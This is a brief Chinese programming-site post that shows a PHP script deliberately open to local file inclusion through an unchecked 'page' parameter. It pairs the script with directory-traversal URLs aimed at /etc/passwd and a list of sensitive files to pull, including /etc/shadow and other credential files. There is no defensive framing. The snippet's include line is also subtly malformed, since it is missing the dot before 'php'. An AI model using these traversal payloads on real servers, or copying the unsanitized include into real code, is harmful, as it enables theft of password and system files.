网络编程
位置:首页>> 网络编程>> php编程>> php 伪造本地文件包含漏洞的代码

php 伪造本地文件包含漏洞的代码

  发布时间:2023-11-17 06:36:40 

标签:包含漏洞

代码:


<?php
$page=$_GET['page'];
include($page.'php');
?>


你可以这样使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd

获取更多数据:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

来自hackteach

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com